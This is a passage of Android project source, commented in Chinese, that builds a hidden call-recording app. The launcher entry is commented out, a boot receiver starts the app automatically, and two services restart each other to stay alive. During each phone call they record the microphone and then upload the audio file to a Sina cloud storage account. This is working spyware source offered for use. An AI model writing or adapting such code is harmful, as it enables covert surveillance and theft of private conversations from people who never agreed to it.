<!-- <category android:name="android.intent.category.LAUNCHER" /> -->
</manifest>
--佈局文件
--/AutoOpenAppPhone/res/layout/activity_main.xml
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="com.devwang.autoopenapp.MainActivity" >
<TextView
android:id="@+id/tv"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:gravity="center"
android:textSize="60sp"
android:text="LOVE" />
</RelativeLayout>
--源代碼--主界面
/AutoOpenAppPhone/src/com/devwang/autoopenapp/MainActivity.java
package com.devwang.autoopenapp;
import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.os.StrictMode;
import android.widget.TextView;
@TargetApi(Build.VERSION_CODES.GINGERBREAD) public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (android.os.Build.VERSION.SDK_INT > 9) {
StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
.permitAll().build();
StrictMode.setThreadPolicy(policy);
}
TextView text = (TextView) findViewById(R.id.tv);
text.setText("LOVE!");
System.out.println("Service oncreate");
Intent i = new Intent(this, AutoOpenService.class);
startService(i);
//測試用 可不加
finish();
}
}
--廣播接收者
--/AutoOpenAppPhone/src/com/devwang/autoopenapp/BootBroadcastReciver.java
package com.devwang.autoopenapp;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
//開機啓動完成的 廣播接受者 在這裏啓動APP Activity
public class BootBroadcastReciver extends BroadcastReceiver {
static final String ACTION = "android.intent.action.BOOT_COMPLETED";
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
if (intent.getAction().equals(ACTION)) {
//自啓動界面
//Intent i = new Intent(context, MainActivity.class);
//i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//context.startActivity(i);
//自啓動服務
Intent i = new Intent(context, AutoOpenService.class);
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startService(i);
}
}
}
--服務
--/AutoOpenAppPhone/src/com/devwang/autoopenapp/AutoOpenService.java
package com.devwang.autoopenapp;
import java.io.File;
import android.annotation.TargetApi;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Build;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import com.sina.sae.cloudservice.api.CloudClient;
import com.sina.sae.cloudservice.api.CloudFile;
import com.sina.sae.cloudservice.exception.CloudServiceException;
@TargetApi(Build.VERSION_CODES.GINGERBREAD)
public class AutoOpenService extends Service {
// 電話管理器
private TelephonyManager tm;
// 監聽器對象
private MyListener listener;
// 聲明錄音機
private MediaRecorder mediaRecorder;
final private String appname = "***";
final private String ak = "***";
final private String sk = "***";
// final private String localpath = "sdcard/journey.jpg";
final private String localpath = "sdcard/aa.3gp";
// private File file;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
if (CloudClient.checkNetwork(this)) {
try {
CloudClient.init(this, appname, ak, sk);
} catch (CloudServiceException e) {
// TODO: handle exception
e.printStackTrace();
}
}
// 後臺監聽電話的呼叫狀態。
// 得到電話管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
System.out.println("Servicer ondestory");
}
private class MyListener extends PhoneStateListener {
// 當電話的呼叫狀態發生變化的時候調用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:// 空閒狀態。
if (mediaRecorder != null) {
// 8.停止捕獲
mediaRecorder.stop();
// 9.釋放資源
mediaRecorder.release();
mediaRecorder = null;
System.out.println("錄製完畢,上傳文件到服務器。");
// if(file==null){
// System.out.println("null");
// }
System.out.println("start upload");
try {
boolean flag = CloudFile.upload(localpath);
System.out.println("uploading-->" + flag);
} catch (CloudServiceException e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.out.println("upload:" + e);
}
System.out.println("end upload");
}
break;
case TelephonyManager.CALL_STATE_RINGING:// 零響狀態。
break;
case TelephonyManager.CALL_STATE_OFFHOOK:// 通話狀態
// 開始錄音
// 1.實例化一個錄音機
mediaRecorder = new MediaRecorder();
// 2.指定錄音機的聲音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//MIC可以 VOICE_CALL不可以
// 3.設置錄製的文件輸出的格式
mediaRecorder
.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
// 4.指定錄音文件的名稱
// File file = new File(
// Environment.getExternalStorageDirectory(),
// System.currentTimeMillis() + ".3gp");
File file = new File(
Environment.getExternalStorageDirectory(), "aa.3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
// 5.設置音頻的編碼
mediaRecorder
.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
// 6.準備開始錄音
mediaRecorder.prepare();
// 7.開始錄音
mediaRecorder.start();
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
System.out.println("Servicer ondestory");
Intent i = new Intent(this, AutoOpenServicer.class);
startService(i);
}
}
--/AutoOpenAppPhone/src/com/devwang/autoopenapp/AutoOpenServicer.java
package com.devwang.autoopenapp;
import java.io.File;
import com.sina.sae.cloudservice.api.CloudClient;
import com.sina.sae.cloudservice.api.CloudFile;
import com.sina.sae.cloudservice.exception.CloudServiceException;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
public class AutoOpenServicer extends Service {
// 電話管理器
private TelephonyManager tm;
// 監聽器對象
private MyListener listener;
// 聲明錄音機
private MediaRecorder mediaRecorder;
final private String appname = "***";
final private String ak = "***";
final private String sk = "***";
// final private String localpath = "sdcard/journey.jpg";
final private String localpath = "sdcard/aa.3gp";
// private File file;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
// 服務創建的時候調用的方法
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
if (CloudClient.checkNetwork(this)) {
try {
CloudClient.init(this, appname, ak, sk);
} catch (CloudServiceException e) {
// TODO: handle exception
e.printStackTrace();
}
}
// 後臺監聽電話的呼叫狀態。
// 得到電話管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
System.out.println("Service onCreate");
}
private class MyListener extends PhoneStateListener {
// 當電話的呼叫狀態發生變化的時候調用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:// 空閒狀態。
if (mediaRecorder != null) {
// 8.停止捕獲
mediaRecorder.stop();
// 9.釋放資源
mediaRecorder.release();
mediaRecorder = null;
System.out.println("錄製完畢,上傳文件到服務器。");
// 這裏簡單起見 只獲取最近一次的通話錄音 故在上傳之前 先將服務器端的刪除後再上傳
// if (file == null) {
// System.out.println("null");
// }
System.out.println("start upload");
try {
boolean flag = CloudFile.upload(localpath);
System.out.println("uploading-->" + flag);
} catch (CloudServiceException e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.out.println("upload:" + e);
}
System.out.println("end upload");
}
break;
case TelephonyManager.CALL_STATE_RINGING:// 零響狀態。
break;
case TelephonyManager.CALL_STATE_OFFHOOK:// 通話狀態
// 開始錄音
// 1.實例化一個錄音機
mediaRecorder = new MediaRecorder();
// 2.指定錄音機的聲音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//MIC可以 VOICE_CALL不可以
// 3.設置錄製的文件輸出的格式
mediaRecorder
.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
// 4.指定錄音文件的名稱
// 這裏使用開始錄音的時間作爲文件名 爲方便起見我們固定設置一個文件名如aa.3pg
// File file = new File(
// Environment.getExternalStorageDirectory(),
// System.currentTimeMillis() + ".3gp");
File file = new File(
Environment.getExternalStorageDirectory(), "aa.3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
// 5.設置音頻的編碼
mediaRecorder
.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
// 6.準備開始錄音
mediaRecorder.prepare();
// 7.開始錄音
mediaRecorder.start();
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
// 守護進程 在次方法中 本服務會被銷燬 此時可以啓動新的服務
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
System.out.println("Service ondestory");
Intent i = new Intent(this, AutoOpenService.class);
startService(i);
}
}